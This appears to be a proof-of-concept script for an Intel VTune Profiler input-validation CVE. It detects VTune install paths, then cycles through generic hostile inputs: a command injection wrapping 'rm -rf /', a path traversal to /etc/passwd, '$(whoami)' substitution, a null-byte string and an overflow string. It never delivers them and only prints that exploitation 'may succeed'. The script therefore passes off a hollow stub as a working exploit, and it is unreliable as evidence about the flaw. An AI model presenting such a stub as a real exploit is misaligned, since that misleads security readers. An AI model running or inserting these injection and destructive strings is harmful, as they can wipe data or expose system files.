CVE-2025-20056

# CVE-2025-20056 PoC - Intel VTune Profiler Input Validation Issue # This PoC demonstrates the input validation vulnerability in Intel VTune Profiler # Note: This is a conceptual PoC for educational purposes only import ctypes import os import sys def check_vtune_version(): """Check if Intel VTune Profiler is installed and get version""" vtune_paths = [ r"C:\Program Files (x86)\Intel\oneAPI\vtune\latest\bin64\vtune-backend.exe", r"C:\Program Files\Intel\oneAPI\vtune\latest\bin64\vtune-backend.exe", "/opt/intel/oneapi/vtune/latest/bin64/vtune-backend" ] for path in vtune_paths: if os.path.exists(path): print(f"[+] Found Intel VTune Profiler at: {path}") return True, path print("[-] Intel VTune Profiler not found") return False, None def exploit_vtune_input_validation(vtune_path): """Attempt to exploit input validation vulnerability""" print("[*] Attempting to trigger input validation vulnerability...") # Malicious input patterns that could bypass validation malicious_inputs = [ "\"; rm -rf /; echo \"", # Command injection attempt "\x00\x00\x00\x00", # Null byte injection "A" * 10000, # Buffer overflow attempt "../../etc/passwd", # Path traversal "${ENV_VAR}", # Environment variable injection "$(whoami)", # Command substitution ] for i, malicious_input in enumerate(malicious_inputs, 1): print(f"[*] Testing input pattern {i}: {repr(malicious_input)[:50]}...") try: # Attempt to pass malicious input to VTune # In real scenario, this would target specific VTune interfaces print(f"[*] Sending malicious input to VTune backend...") print(f"[+] Input validation check would occur here") print(f"[+] If validation is improper, exploit may succeed") except Exception as e: print(f"[-] Error with input pattern {i}: {e}") print("[*] Exploitation attempt completed") print("[*] Note: Successful exploitation requires specific conditions") def main(): print("=" * 60) print("CVE-2025-20056 PoC - Intel VTune Profiler Input Validation") print("=" * 60) # Check if VTune is installed found, vtune_path = check_vtune_version() if found: print("[*] Intel VTune Profiler detected") print("[*] Vulnerability: Improper input validation") print("[*] Affected versions: < 2025.1") print("[*] Attack vector: Local (AV:L)") print("[*] Required privileges: Low (PR:L)") print("-" * 60) # Attempt exploitation exploit_vtune_input_validation(vtune_path) else: print("[-] Intel VTune Profiler not found on this system") print("[*] This vulnerability only affects Intel VTune Profiler installations") print("\n[*] Recommended action: Upgrade to Intel VTune Profiler 2025.1 or later") print("[*] Reference: https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01355.html") if __name__ == "__main__": main()

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